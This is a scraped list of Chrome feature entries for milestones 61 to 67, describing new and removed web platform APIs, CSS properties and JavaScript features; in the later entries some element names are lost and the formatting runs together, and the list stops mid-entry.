In aligning with Blink's intention to remove powerful features on insecure origins, we plan to deprecate and remove support for the Presentation API on insecure contexts. PresentationRequest and PresentationReceiver where deprecated on insecure origins in Chrome 61. Removal is anticipated in Chrome 72 (February 2019).

  1. JavaScript dialogs exit HTML5 fullscreen

If a page shows a JavaScript dialog while it is in fullscreen (the HTML5 kind), it is exited from fullscreen.

chromium62 Features:28

  1. document.rootScroller

Allow a non-document (or <body>) element to hide URL bar, generate overscroll glow, etc. on scrolling, effects normally reserved for "viewport scrolling" only.

  1. <data> element

<data> element

  1. <time> element

<time> element

  1. API for customizing HTMLMediaElement.seekable for Media Source live streams

This API lets MediaSource apps more effectively customize the HTMLMediaElement.seekable range logic by providing (or removing) a single seekable range that is union'ed with the current buffered ranges to result in a single seekable range which fits both, when media duration is infinite.

  1. Accept 8 (#RRGGBBAA) and 4 (#RGBA) value hex colors

Update the CSS color parser to support 8/4-digit hex color. Legacy HTML attribute color parsing, per the "rules for parsing a legacy colour value" of the HTML micro syntax (http://bit.ly/1WF2Yre), will not be changed (see http://bit.ly/1UEDbiO), nor will the CSS hashless color quirk (https://quirks.spec.whatwg.org/#the-hashless-hex-color-quirk).

  1. Accept-Language Headers Fix

We want to fix an issue in how Chrome generates the Accept-Language HTTP headers from user language preferences. As websites sometimes only accept languages without region (i.e. "en" vs "en-AU"), a user could receive websites in an unexpected language. We plan to add the base language in the correct position so that users receive webpages in their preferred language.

  1. Dispatch mouse transition events after layout

Mouse events are not sent when the nodes under the mouse change during layout.

This then represents an incorrect state in that the hover state of where the mouse actually doesn't match the current hover state of the document.

To fix a variety of issues we will start dispatching mouse transitional events and update the hover state shortly after layout has been executed.

This will match Firefox behavior.

  1. Feature Policy: Fullscreen

Allow developers to selectively enable and disable use of Fullscreen through the Feature-Policy HTTP header or the <iframe> "allow" attribute. The identifier for the feature in policies is "fullscreen". By default, fullscreen is allowed in all top-level documents, and in same-origin frames. This is similar to the existing <iframe> "allowfullscreen" attribute, but allows control over which origins will be allowed to use the feature when hosted inside of the frame.

  1. Implement visibility:collapse for table rows and row-groups

visibility:collapse is supposed to hide table rows while preserving their contribution to column widths. Right now blink treats visibility:collapse as visibility:hidden, which merely skips painting the rows, leaving blank space in their place instead of allowing their space to be used for other content.

  1. Intervention: Image replacement for Data Saver users on slow connections

If a Data Saver user is on a 2G-speed or slower network according to the NetInfo API, Chrome replaces images with placeholders and sends an intervention header on every resource request. Placeholders are the same dimensions as the original image to maintain site layout. Users are shown a Lite Mode UI in the omnibox. Users can load the image by long-pressing on the placeholder, or load all images by tapping "Show original" in the UI. An intervention report is sent when this optimization occurs.

  1. Loosen up escape sequence restrictions in template literals

The restriction on escape sequences in template literals has been loosened. This enables new use cases for template tags, such as writing a LaTeX processor.

  1. Media Capture from HTML Media Element (<video>/<audio>)

"Media Capture from DOM Elements" document by W3C defines captureStream() method that allows the capture of a <video>/<audio> element in the form of a MediaStream. We want to implement the necessary Blink and Chromium sections that would create this stream by accessing the <video>/<audio> output according to the given play back constraints.

  1. Network Information: Network Quality signals

This API provides network performance information to developers, as perceived by the UA, in a format that's easy to consume and act upon: UA monitors latency and throughput of recent requests and provides estimates for effective RTT, throughput, and connection type that developers should optimize for - e.g. if the recently observed latency and/or throughput is low, the effective connection type will be mapped to a "low" value like 2G or 3G, regardless of the underlying network technology.

  1. OpenType variable font support

OpenType variable fonts integration in the layout engine affects at least the following aspects:

  1. Axis value assignments from font-variation-settings
  2. Integration of variable fonts axis parameters into layout operations
  3. Font matching for:
    • Matching based on canonical scalable axes such as width or weight or optical sizing.
    • Matching named instances
  4. Feature resolution of CSS props, feature-settings and variation settings
  1. PaymentDetailsModifier.data

Need to support modifiers with the same identifier but different data. One use case for this is to support card payments with different modifiers for credit vs. debit cards. This change adds the PaymentDetailsModifier.data field to supply the different data.

  1. Performance.timeOrigin

Performance.timeOrigin was defined in High Resolution Time 3. The attribute is useful for developers to be able to compare timings of objects (like windows or workers) with different time origins.

  1. RegExp dotAll mode / s flag

The new s flag for ECMAScript regular expressions makes . match any character, including line terminators.

  1. RegExp lookbehind assertions

Lookarounds are zero-width assertions that match a string without consuming anything. ECMAScript has lookahead assertions that does this in forward direction, but the language is missing a way to do this backward which the lookbehind assertions provide. With lookbehind assertions, one can make sure that a pattern is or isn't preceded by another, e.g. matching a dollar amount without capturing the dollar sign.

  1. Support FLAC in ISO-BMFF with MSE

FLAC is a lossless audio coding format, already supported in regular Chrome HTML5 playback. This feature adds support for FLAC in ISO-BMFF to Chrome HTML5 Media Source Extensions (MSE).

  1. Update ol.start default value as 1

As per the spec,

"The start IDL attribute must reflect the content attribute of the same name, with a default value of 1.

This means that the start IDL attribute does not necessarily match the list's starting value, in cases where the start content attribute is omitted and the reversed content attribute is specified."

  1. WebAudio: OfflineAudioContext constructor with dictionary

The constructor for an OfflineAudioContext now accepts a dictionary argument to specify the options needed to construct the context. This is an addition to the existing constructor that takes three arguments.

  1. visualViewport attribute event handlers

Adding attribute event handlers to visualViewport.

i.e. visualViewport.onresize and visualViewport.onscroll

(This is a minor fix to the shipped implementation)

  1. PaymentMethodData.supportedMethods should not be a sequence

PaymentMethodData is used in the PaymentRequest constructor, the PaymentRequestEvent, and the CanMakePaymentEvent. It's supportedMethods property holds and identifier indicating the payment methods a merchant accepts. Currently, this property takes either a string or array. After this change, it will only take a string.

  1. Deprecate SVGPathElement.getPathSegAtLength

This interface is removed from the spec.

https://svgwg.org/svg2-draft/paths.html#InterfaceSVGPathElement.

  1. RTCPeerConnection.getStreamById

The getStreamById method on RTCPeerConnection is being removed. See https://crbug.com/698163#c10 for a replacement if you depend on this.

  1. Remove Insecure usage of Notifications

Remove access to the Notifications API on insecure origins. This will prevent sites from requesting notification permission or creating non-persistent local notifications over HTTP.

Sites using the Notification API for web push must already be on secure origins due to the requirement for a service worker. Removal is anticipated in Chrome 62.

  1. Remove Usage of Notifications from iFrames

Remove the ability to call Notification.requestPermission() from non-main frames.

This change will align the requirements for notification permission with that of push notifications, easing friction for developers. It allows us to unify notification and push permissions.

  1. SharedWorker: Remove workerStart

SharedWorker.workerStart has been deprecated for a while in the spec, and is not supported by other major browsers.

chromium63 Features:21

  1. Async Iteration / Async Generators

Async Generator functions and a new iteration protocol (used by for-await-of loops and yield* expressions), to streamline consumption or implementation of streaming data sources.

  1. CSS 'q' length unit

support 'q' absolute length unit.

1q is equivalent to 1/40th of 1cm.

  1. CSS font-variant-east-asian

Add support for font-variant-east-asian and respective mapping for the font: shorthand and the font-variant: shorthand.

  1. CSS overscroll-behavior

CSS overscroll-behavior allows developers to decide the browser's behavior once a scroller has reached its full extent. The unused delta can be propagated to the parent causing scroll chaining, create a glow/bounce effect without chaining, or just get consumed silently. This would be a standardization of "-ms-scroll-chaining" with some modification.

  1. Device Memory JS API

JS API to expose the device Memory to web applications.

  1. EventTarget.addEventListener/removeEventListener throws a TypeError

EventTarget.addEventListener/removeEventListener throws a TypeError when the second argument |callback| is neither of EventListener nor Null nor Undefined.

Historically Blink had not been reporting a TypeError for the second argument of EventTarget.{add,remove}EventListener, but reports a TypeError since M63.

  1. HTMLAllCollection and HTMLCollection's named properties are no longer enumerable

Blink now follows the DOM and HTML specs and declares HTMLAllCollection, HTMLCollection, HTMLFormControlsCollection and HTMLOptionsCollection with the LegacyUnenumerableNamedProperties extended attribute. Its named properties are no longer marked as enumerable, being left out of calls to e.g. Object.keys() and for-in loops.

  1. Interface properties with a Promise type no longer throw exceptions

Interface properties that return a Promise now reject (meaning they'll invoke a catch block) instead of throwing an exception. This has already been done for functions.

  1. Intl.PluralRules

Intl.PluralRules is a new API which exposes language-dependent data on pluralization forms of numbers. Given a locale and a number, Intl.PluralRules outputs a category, which can then be used for selection of the pluralization form of surrounding text.

  1. JavaScript module import()

This JavaScript feature adds a "function-like" import() module loading syntactic form to JavaScript.

The existing syntactic forms for importing modules are static declarations. However, it's also desirable to be able to dynamically load parts of a JavaScript application at runtime.

  1. Make /deep/ behave like the descendant combinator " " in CSS live profile (in css file or inside of <style>)

Make /deep/ behave like the descendant combinator " " in CSS live profile; effectively no-op.

See "Intent to Remove" thread for more details: https://groups.google.com/a/chromium.org/d/topic/blink-dev/HX5Y8Ykr5Ns/discussion

https://www.w3.org/TR/selectors-4/#profiles

CSS live profile = CSS selector used in CSS file or inside of <style>.

CSS snapshot profile = CSS selector used in JS, such as querySelector(...)

  1. MediaStreamTrack.applyConstraints

applyConstraints() allows changing the constraints associated with a MediaStreamTrack.

This is useful to change settings such as video resolution or frame rate.

applyConstraints() was previously released with support for ImageCapture (https://w3c.github.io/mediacapture-image/).

This feature includes adding support for the main spec (https://w3c.github.io/mediacapture-main/).

  1. No State Prefetch

A mechanism for speculative prefetching of webpages and their subresources that are on a critical path of page loading without executing any JavaScript or creating a complex state of the web platform. This system is not purely "no state" because HTTP cache allows to create cookies and other state related to validating cache entries.

It is important to note that the "NoState Prefetch" is not an API.

Server side detection: https://bugs.chromium.org/p/chromium/issues/detail?id=796855

  1. Promise.prototype.finally

This finally method is used for registering a callback to be invoked when a promise is settled (either fulfilled, or rejected).

  1. Web Storage: Anonymous getter may return null

Blink used to add an anonymous named property getter to the Storage interface (used by sessionStorage and localStorage) that behaved slightly differently from the getItem() method. The anonymous getter has been removed, and getItem() is now used behind the scenes instead. One visible consequence is that attempting to access a key that does not exist via the getter will return null instead of undefined.

  1. Web Storage: Methods are now enumerable

The methods belonging to the Storage IDL interface (available via sessionStorage and localStorage), such as getItem(), clear() and removeItem() are now enumerable as mandated by the HTML spec.

They are not returned by Object.keys(), but do appear in e.g. for-in loops.

  1. beforeprint and afterprint events

'beforeprint' event is dispatched before starting printing, and 'afterprint' event is dispatched after finishing printing. They are useful to build printing-only content, and clean it up.

  1. display:minimal-ui

Support the minimal-ui display mode as defined in the Web App Manifest.

This property will result in Chrome displaying a "Chrome Custom Tab"-like UI.

  1. navigator.webdriver

The Webdriver specification defines a navigator.webdriver property to indicate if UA is controlled by automation. This property is defined and returns true when running Chrome with the --headless flag.

  1. Shadow-Piercing descendant combinator, '/deep/'

The /deep/ combinator was a part of Shadow DOM v0, which has been deprecated and removed. Starting in M63, the /deep/ combinator was treated as a no-op, equivalent to a space " " combinator. As the code for all of Shadow DOM v0 was removed completely in M89, /deep/ will now throw exceptions in some JS operations, such as querySelectorAll. Simply replace it with " " to get pre-M89 behavior back.

  1. macOS: rounded borders for buttons in User-Agent stylesheet

Only for macOS.

The default stylesheet for <button>, <input type=button>, <input type=reset>, <input type=submit>, a button in <input type=file> was changed in order to match OS-native buttons.

Background-color, border, border-radius, and padding were changed.

chromium64 Features:32

  1. Media Capabilities: encoding

This is an API for querying the user agent about a device's encoding capabilities for the purpose of recording or transmitting.

  1. Network Information: saveData

The saveData attribute is a boolean that indicates a client's explicit opt-in for reduced data usage, due to high transfer costs, slow connection speeds, or other reasons. It's use allows JavaScript to make decisions that result in reduced data use, such as to load smaller images and video resources, or reduce buffering or predictive actions.

This is expected to be enabled by default in Chrome 65.

  1. Animation for offset-path CSS property

Authors using CSS Motion Path can now animate the path that an element moves along by animating the offset-path property

  1. CSS transform-box

The transform-box property allows defining which reference box to use when computing 'transform' and 'transform-origin'. It currently only has an effect on SVG elements.

  1. CSS4 text-decoration-skip-ink

CSS Text Decoration 4: property controls how overlines and underlines are drawn when they cross over a glyph.

With the initial, default value "auto" decoration lines skip over where glyphs are drawn: interrupt the decoration line to let the shape of the text show through where the text decoration would otherwise cross over a glyph. The UA must also skip a small distance to either side of the glyph outline.

To disable this behavior, use text-decoration-skip-ink: none

  1. Constructible & Subclassable EventTarget

Make EventTarget constructor callable, allowing them to be constructed on their own or be subclassed.

  1. Deprecate and remove chrome.loadTimes

chrome.loadTimes() is a non-standardized API that enables collecting loading related metrics to understand performance in the real world. However the metrics there are now available as standardized APIs, so this API will be deprecated and removed.

  1. Deprecate on-by-default Permissions in Cross-origin Iframes

It's proposed that by default the following permissions cannot be requested or granted to content contained in cross-origin iframes:

Geolocation

Midi

Encrypted media extensions

Microphone and Camera

In order for a cross-origin frame to get access to these permissions, the embedding page must specify a Feature Policy which enables the feature for the frame. For example, to enable geolocation in an iframe, the embedder could specify the iframe tag as:
<iframe src="..." allow="geolocation">

  1. Feature Policy: Autoplay

Allows developers to selectively enable and disable use of autoplay through the feature policy HTTP header or the <iframe> "allow" attribute.

By default we will allow autoplay on same origin iframes. If developers have cross origin iframes they will be able to enable autoplay on those frames by enabling the "autoplay" feature.

  1. Fetch API: Request.cache

A property which represents the cache mode of a Request. This feature includes RequestInit.cache which sets the property.

  1. Fractional coordinates in PointerEvents of type mouse

Make the coordinates in PointerEvents of pointerType=mouse fractional, in order to include the full precision provided by the underlying platform.

  1. Image Decode API: img.decode()

This change allows web developers to request to decode an img element. The call to a new HTML <img> element's decode() function returns a promise, which, when fulfilled, ensures that the image can be appended to the DOM without causing a decoding delay on the next frame.

  1. Image decoding attribute

This feature allows developers to specify decoding attribute on HTMLImageElement and SVGImageElement which would have one of two states:

"async": This indicates that the developer prefers responsiveness and performance over atomic presentation of image and non-image content.

"sync": This indicates that the developer prefers atomic presentation of content over responsiveness.

"auto": This indicates a default state where the user-agent can select the behavior.

  1. Intl.NumberFormat.prototype.formatToParts()

Intl.NumberFormat.prototype.formatToParts() is scheduled to be added to the ECMAScript Internationalization API specification (Ecma 402). It adds a method to format a number to a list of tokens and their types (e.g. minusSign, integer, decimal, fraction, currency, percentSign, etc).

See also the corresponding DateTimeFormat feature here: https://www.chromestatus.com/feature/6319456309477376

  1. Media preload defaults to metadata

Set the default preload value for video and audio elements to "metadata".

Note that the preload attribute's hint is still ignored when a MediaSource is attached to the media element.

  1. Notifications to be displayed in the platform's Notification Center

Most platforms ship with a notification center of their own - on mobile devices this may be more prominent than on desktops, but they do exist. We're in progress of moving notifications shown by Chrome to be included in those centers as well.

  • Android (shipped in Chrome 42)
  • Mac OS X (shipped in 59)
  • Linux (planned to ship in 64)
  • Windows (being prototyped)

Other browsers already use native notification centers where available.

  1. Numeric character reference fallback for file upload characters not representable in form-charset

Change <input type="file"> filename encoding in multipart/form-data uploads in forms with non-Unicode accept-charset to use HTML numeric character references rather than '?' when a filename the user selects contains characters not representable in the target character encoding.

This change would align our behavior with the existing behavior of Firefox and Edge. It is hoped that this behavior can eventually achieve cross-browser consensus and standardization.

  1. Prevent scrolling in HTMLElement.focus()

Adds an optional argument to existing focus APIs that disable the scroll triggered by focus.

  1. RTCRtpSender

This feature tracks RTCPeerConnection methods getSenders(), addTrack(), removeTrack() and the essentials of interface RTCRtpSender.

  1. RegExp named captures

Named captures for ECMAScript regular expressions allow developers to create and refer to named capture groups.

  1. Remove window.event for Shadow DOM

The contex is: https://github.com/whatwg/dom/issues/334

We are trying to standardize certain Microsoft event extensions. One of them is window.event. Blink supports window.event.

In the discussion, we agreed that window.event should be undefined if an Event's target is in a shadow tree.

That is effectivery equivalent to removing window.event for Shadow DOM.

  1. Resize Observer

The Resize Observer API can be used to observe changes to size of Element's content rect.

  1. Stronger popup blocker on sites with abusive experiences

On sites with very abusive experiences (see documentation link below), Chrome will start enforcing a more aggressive popup blocker. This will invoke Chrome's popup blocking UI for new windows or tabs regardless of whether there is a user gesture.

  1. Throw NotSupportedError when media playbackRate is unsupported

Throw a NotSupportedError DOM exception when a media element's playbackRate is set to an unsupported value.

  1. Unicode property escapes in regular expressions

The Unicode Standard assigns various properties and property values to every symbol. For example, to get the set of symbols that are used exclusively in the Greek script, search the Unicode database for symbols whose Script property is set to Greek.

Unicode property escapes are a new type of escape sequence available in regular expressions that have the u flag set. They enable querying the Unicode database for certain properties and values.

E.g. /\p{Script=Greek}/u.test('π') === true

  1. X-Content-Type-Options: nosniff

The X-Content-Type-Options: nosniff header allows a server to assert that its resources may only be executed as script or applied as style if they're delivered with appropriate Content-Type headers.

  1. import.meta

The import.meta meta-property provides a host-defined object which exposes context-specific metadata to a JavaScript module (e.g. the enclosing module's URL or associated <script> element).

  1. install event for Web App Manifest

An event handler to tell a site that it has been installed or added to home screen.

  1. Multiple Shadow Roots

Enable elements to host more than one Shadow Roots.

Dropping this feature from the spec is the resolution at Web Components f2f meeting (https://www.w3.org/wiki/Webapps/WebComponentsApril2015Meeting) This was deprecated in Chrome 45. Removal is anticipated in Chrome 64.

This was deprecated in Chrome 45.

  1. Remove getMatchedCSSRules

getMatchedCSSRules is a webkit-only API to get a list of all the style rules applied to a particular element.

It has been deprecated since 2014.

  1. window.alert() will not activate parent page

If a document in a background tab calls window.alert() then the call to alert() will return immediately; the dialog will be shown to the user when they switch to the tab. A UI indicator will be set so the user is aware of the pending alert dialog. This removes the ability to use window.alert() to bring a tab to the front against the user's will.

  1. Stop showing ads on websites that are not compliant with the Better Ads Standards.

Stop showing ads (including ads owned or served by Google) on sites that do not comply with the betterads.org/standards

Feature Intro:

https://blog.chromium.org/2017/06/improving-advertising-on-web.html

How Chrome's ad filter works

https://blog.chromium.org/2018/02/how-chromes-ad-filtering-works.html

Filtering began on sites globally in July 2019.

https://blog.chromium.org/2019/01/building-better-world-wide-web.html

Ad Experience Report Info

https://support.google.com/webtools/answer/7159932

chromium65 Features:25

  1. CSP's prefetch-src directive.

CSP allows developers to control the set of resources which can be preloaded by specifying a prefetch-src directive. The directive has the same format as other fetch directives; developers write an allowlist which defines the set of hosts from which resources can be preloaded. If prefetch-src is not specified, default-src will apply.

  1. Block cross-origin <a download>

To avoid what is essentially user-mediated cross-origin information leakage, Blink will start to ignore the presence of the download attribute on anchor elements with cross origin attributes.

  1. CSS Color 4 HSL/HSLA syntax

Update parsing of HSL() and HSLA() to the syntax described in CSS Color 4. The functions were synonymized, along with allowing whitespace to separate the parameters instead of commas, introducing a backslash as a new way to separate the alpha parameter, allowing angles to be specified as the hue, and allowing percent values for the alpha parameter.

  1. CSS Color 4 RGB/RGBA syntax

Update parsing of RGB() and RGBA() to the syntax described in CSS Color 4. The functions were synonymized, along with allowing whitespace to separate the channels instead of commas, introducing a backslash as a new way to separate the alpha parameter, and allowing percent values for the alpha parameter.

  1. CSS Paint API (Houdini)

CSS Paint API defines a new callback which is designed to allow developers to write code which produces a CSS <image> during the paint phase of the rendering engine.

  1. CSS Selectors 4 Pseudo-Class :any-link

The :any-link pseudo-class represents an element that acts as the source anchor of a hyperlink.

  1. Do not create layout objects for elements inside display:none iframes.

The original HTML/CSS specifications were unclear about the intended behavior for elements inside display:none iframes. Do they get CSS boxes? Are they rendered? This has led to a divergence in behavior between UAs. The specs are in the process of being clarified, and the new spec matches the behavior of Edge and Gecko which do not perform box construction or layout. Note that Chrome's current behavior has negative performance implications.

https://github.com/whatwg/html/issues/1813

  1. Feature Policy: control Synchronous XMLHttpRequest

Allows developers to selectively enable and disable use of Synchronous XMLHttpRequest requests through the feature policy HTTP header or the <iframe> "allow" attribute. The identifier for the feature in policies is "sync-xhr". By default, synchronous XHR is allowed in all frames. If developers wish to disable this on any page, they can include a header like:

Feature-Policy: sync-xhr 'none'

Or embed content in an frame with sync XHR disabled like:
<iframe src="..." allow="sync-xhr 'none'">

  1. KeyboardEventInit keyCode, charCode support

Add support for initializing keyCode, charCode via KeyboardEventInit.

  1. NTLMv2

Support NTLMv2 authentication. Currently on non-Windows platforms only NTLMv1 is used.

  1. PerformanceObserver takeRecords()

The takeRecords method returns a copy of the performance entries in the PerformanceObserver's buffer, and also clears this buffer. This aligns PerformanceObserver with other *Observer implementations, like MutationObserver and IntersectionObservers, which have similar methods.

  1. RTCRtpSender and RTCRtpReceiver extensions to RTCPeerConnection

This feature encapsulates the addition of the following methods to RTCPeerConnection:

getSenders(),

getReceivers(),

addTrack(MediaStreamTrack track, MediaStream... streams),

and removeTrack(RTCRtpSender sender).

The RTCRtpSender and RTCRtpReceiver objects will initially be limited to supporting the "track" attribute, with RTCRtpSender also supporting "replaceTrack(MediaStreamTrack withTrack)".

  1. RTCRtpSender.replaceTrack

This allows you to seamlessly change which track is being sent without having to renegotiate at the expense of another offer/answer cycle.

For example, you might want to switch which video to send or to temporarily not send video, without any disruption in audio or at the cost of an RTT delay. It can also be used to control whether or not to send with replaceTrack(null).

  1. Request.destination

The Request.destination getter enables Service Worker code knowledge regarding which type of resource it is fetching.

  1. ServerTiming API

Add the PerformanceServerTiming Interface which makes Server-Timing header timing values available to JavaScript running in the browser.

  1. Support HTMLAnchorElement.relList property

The HTMLAnchorElement.relList read-only property reflects the rel attribute. It is a live DOMTokenList containing the set of link types indicating the relationship between the resource represented by the <a> element and the current document.

  1. Support HTMLAreaElement.relList property

The HTMLAreaElement.relList read-only property reflects the rel attribute. It is a live DOMTokenList containing the set of link types indicating the relationship between the resource represented by the <area> element and the current document.

  1. TLS 1.3 (draft versions)

The latest version of the Transport Layer Security (TLS) protocol. For M65, draft-23 of the protocol will be rolled out to Chrome users via a field trial.

  1. Wheel scroll latching and async wheel events

Latch to a single element for the duration of a wheel scroll. Only the first wheel event in a scrolling sequence is cancel-able.

  1. Worklets

Worklets define a new javascript execution context which is designed to allow developers to write code which is intended to be run synchronously within the rendering engine, however independent of the main user javascript.

This feature was released in two stages. Worklets for paint were released in Chrome 65/Opera 52. Worklets for audio were released for Chrome 66/Opera 53.

  1. assignedElements on <slot>

Add assignedElements on <slot>, similar to assignedNodes(), but returning Element nodes only. The method returns elements that are assigned to a given slot.

  1. display: contents

"display: contents" allows you to control the box generation of an element.

The element with "display: contents" won't generate any box, but its children and pseudo-elements will still do it as normal.

It's like the element has been replaced by its children and pseudo-elements.

  1. document.all is no longer Replaceable.

It has been possible for web developers to overwrite document.all for a long time, but according to the web standard, document.all will be no longer overwritable, i.e. it will be readonly.

before the change

document.all = 42;

console.log(document.all);

// prints 42

after the change

document.all = 42;

console.log(document.all);

// prints a HTMLAllCollection

  1. toJSON for Performance and PerformanceEntry

Ever since serializer was deprecated in favor of toJSON 1, the Performance and PerformanceEntry specs added a mandatory toJSON method. This method should just call the default toJSON operation 2.

1 https://github.com/w3c/resource-timing/issues/112

2 https://heycam.github.io/webidl/#default-tojson-operation

The following interfaces will have toJSON added:

PerformanceResourceTiming

PerformanceLongTaskTiming

TaskAttributionTiming

  1. <meta http-equiv="set-cookie" ...>

<meta http-equiv="set-cookie" ...> provides a mechanism for manipulating a host's cookies via markup. Ideally, we would require access to a host's HTTP headers, or script-execution capabilities to modify this data.

chromium66 Features:35

  1. Add and update MHTML headers to support sharing of MHTML pages

To support sharing of MHTML pages, a new header Snapshot-Content-Location will be added. The existing Subject header will be updated to support encoding of non-printable ASCII characters.

  1. Add autocomplete attribute to <textarea> and <select>

Add autocomplete attribute to <textarea> and <select> as per spec.

https://html.spec.whatwg.org/multipage/form-elements.html#the-select-element, https://html.spec.whatwg.org/multipage/form-elements.html#the-textarea-element

  1. Aligning U2F attestation with webauthn

Chrome has never supported the FIDO U2F API directly1. However, it does ship with an internal extension and it's possible to implement the U2F API by using postMessage to send messages to this extension.

(Description continued in comments.)

1 https://fidoalliance.org/specs/fido-u2f-v1.2-ps-20170411/fido-u2f-javascript-api-v1.2-ps-20170411.html

  1. Array.prototype.values

The values() method returns a new Array Iterator object that contains the values for each index in the array.var

  1. Asynchronous Clipboard API

A modern, asynchronous Clipboard API based on Promises.

Text-only APIs (clipboard.readText and clipboard.writeText):

  • Behind a flag in M62
  • Enabled by default in M66

Support for images and other data types is still under development.

  1. Autocapitalize support on all editable elements and on <form> elements

Improve compatibility with Safari's implementation of autocapitalize by:

  • Supporting autocapitalize attribute on any contenteditable element

  • Allow specifying the autocapitalize attribute on a <form> element to have it apply to all child form fields

  1. CSS Typed OM (Houdini)

The new CSSOM provides typed style access for developers. This will generally improve performance primarily by removing the need to do lots of string parsing. In addition to this, it will enable performant development of various new Houdini specifications (including custom properties, layout and paint).

Only a subset of CSS properties are supported for now:

https://chromium.googlesource.com/chromium/src/+/master/third_party/WebKit/Source/core/css/cssom/README.md

  1. CSS calc() in media queries

According to the CSS Values 4 spec, math functions such as calc() should be allowed wherever individual CSS values such as numbers are allowed. However, calc() expressions are not currently parsed in media queries. This change would introduce support for parsing calc() expressions inside of media queries.

  1. Do not throw on unimplemented but valid keyframe-specific composite values.

By spec, the following should not throw even if additive/accumulative animations are not yet supported by the browser:

// Currently throws on Chrome - should not!

element.animate(

{ color: 'red', composite: 'accumulate' }, { color: 'blue', composite: 'add' } \], 2000); ); Firefox does not throw in this case. 10. ECMAScript ⊃ JSON A Stage 3 proposal makes ECMAScript a syntactic superset of JSON by allowing line separator (U+2028) and paragraph separator (U+2029) in string literals. 11. Feature Policy: control over Device Orientation API The sensor policy-controlled features are used to control access to a device sensors requested through an event specified in the DeviceOrientation Event Specification. By default, the deviceorientation, deviceorientationabsolute and devicemotion events will be restricted to top-level document and same-origin subframes (it follows from features default allow list 'self'). The default behavior can be modified by explicitly enabling or disabling of the dedicated sensor policy-controlled features. 12. Fetch API: AbortSignal and AbortController A fetch() can be made cancellable by passing an AbortSignal "signal" in the fetch options. Calling abort() on the associated AbortController will then cancel the fetch. 13. Fetch API: keepalive This option instructs fetch() to perform resource fetching with the keepalive flag set for non-blocking event reporting, analytics, etc. as well as the Beacon API (SendBeacon). 14. Function.prototype.toString revision The "implementation-dependent String" returned from Function.prototype.toString() is now a fully-specified String, which is a substring of the source code that defines the function. For example, this preserves whitespace and comments between the "function" keyword and the function name identifier. For functions created with CreateDynamicFunction (such as through `new Function()`), the String is fully-specified and includes the parameters passed to CreateDynamicFunction. 15. Link rel=modulepreload The new "modulepreload" rel value in `` element and Link: header provides a way to initiate early (and high-priority) loading of module scripts. 16. Make `` with transform be a containing block. Elements with table-row, table-row-group, table-header-group, table-footer-group, table-cell, and table-caption that have a transform property should be containing blocks for fixed position elements. Blink currently does not make ``, ``, ``, and `` be a containing block for fixed position elements, which we propose to change. 17. Media Capabilities: decoding This specification intends to provide APIs to allow websites to make an optimal decision when picking media content for the user. This launch is only about exposing the decoding abilities of the device/system/browser. 18. MediaStreamTrack.getCapabilities() Returns the capabilities of the source associated to a MediaStreamTrack. There is also a variant InputDeviceInfo.getCapabilities(), available in the results of MediaDevices.enumerateDevices(). These devices are used as sources for MediaStreamTrack; in this case, getCapabilities() returns the same values as MediaStreamTrack.getCapabilities(). 19. Network error when blob URL loading fails Rather than returning a 404 when attempting to read from a invalid/non-existing Blob URL, these fetches should result in a network error. 20. Optional catch binding This proposal allows the `catch` clause to exist without a parameter. 21. RTCRtpSender: dtmf attribute This attribute allows access to the DTMF feature of a PeerConnection's audio track. It is a replacement for the now non-standard CreateDTMFSender function on a PeerConnection. 22. Retargeting result of elementFromPoint and elementsFromPoint Previously elementFromPoint and elementsFromPoint are not per spec, and it may return null incorrectly because it is not retargeting the result correctly. We are fixing it to adhere to the spec by applying the correct retargeting algorithm. 23. Send "input" Event on activation behavior for radio and file input type As per spec, on input activation behavior fires a input event, then a change event for radio and file `` type. 24. Send "input" Event on checkbox click As per spec, click on mutable checkbox fires a click event, then an input event, then a change event. 25. Service Worker: Disallow CORS responses for same-origin requests. With this change, a service worker can no longer respond to a request whose mode is 'same-origin' with a response whose type is 'cors'. This is a security measure added to the Fetch specification via https://github.com/whatwg/fetch/issues/629 and https://github.com/whatwg/fetch/pull/655. 26. Service Worker: Non-nullable FetchEvent#clientId With this change FetchEvent#clientId will return an empty string instead of null when it isn't set, e.g., for a navigation request. 27. Service Worker: Requests from embed and object elements skip service workers Service workers no longer receive fetch events for requests from embed and object elements. This includes both requests for the main resource itself (the src or data attribute) and for any requests from the resulting context (the plugin or HTML context). This change was made to adhere to the specification, which disallows service worker interception due to security considerations. 28. String.prototype.trimStart / String.prototype.trimEnd Until now, String.prototype.{trimLeft,trimRight} were non-standard language extensions, required for Web compatibility. The Stage 3 proposal at https://github.com/tc39/proposal-string-left-right-trim standardizes this functionality as String.prototype.{trimStart,trimEnd}, and defines String.prototype.{trimLeft,trimRight} as aliases for backwards compatibility. This patch implements that proposal behind the --harmony-string-trimming flag. 29. The ImageBitmap rendering context for `` A new rendering context that streamlines the display of ImageBitmap objects. This new rendering context uses transfer semantics to take ownership of the pixels of an ImageBitmap object, thus avoiding memory duplication and rasterization overhead. 30. Unprefix CSS Grid Layout gutter properties Rename gutter properties to remove "grid-" prefix: * grid-gap =\> gap * grid-row-gap =\> row-gap * grid-column-gap =\> column-gap Note that column-gap already exists and is used by css-multicol. The parsing needs to be updated as now the default value is "normal". The old (prefixed) properties names will be kept working as aliases. 31. WebAudio: AudioParam setter is equivalent to setValueAtTime When setting the value of an AudioParam via the value setter, the value is updated exactly as if setValueAtTime(newValue, context.currentTime). This includes throwing errors that weren't previously thrown and changing the AudioParam timeline 32. WebAudio: Remove dezippering Historically, Chrome implemented dezippering such that when the value setter of an AudioParam was used, the value was not changed instantaneously. Instead, an exponential approach equivalent to setTargetValueAtTime was done. The actual time constant used was never specified and depended on the AudioParam. With the spec change in https://github.com/WebAudio/web-audio-api/pull/393, (Sep 2015), all dezippering was removed from the spec. Dezippering will be removed from Chrome. 33. `[WebAudio]` AudioWorklet The AudioWorklet allows developers to supply JavaScript to process audio on the audio rendering thread. This processing mechanism ensures the synchronous execution of the author code with other built-in AudioNodes in the audio graph. The AudioWorklet is designed to replace ScriptProcessorNode. ScriptProcessorNode will be deprecated once AudioWorklet is shipped. 34. inputmode The inputmode content attribute is an enumerated attribute that specifies what kind of input mechanism would be most helpful for users entering content into the form control or content editable. 35. window.focus() exits HTML5 fullscreen If a page in fullscreen mode opens a popup and calls window.focus(), that page will exit full screen. This will not occur if the popup receives focus some other way. ### [chromium67 Features:14](https://chromestatus.com/features#milestone%3D67) 1. `` will be a stacking context SVG2 specifies that `` to be a stacking context (\*). Previously, Chrome did not follow the SVG2 spec. Making `` a stacking context allows developers to place HTML content underneath a `` without confusion. For example, it wouldn't make 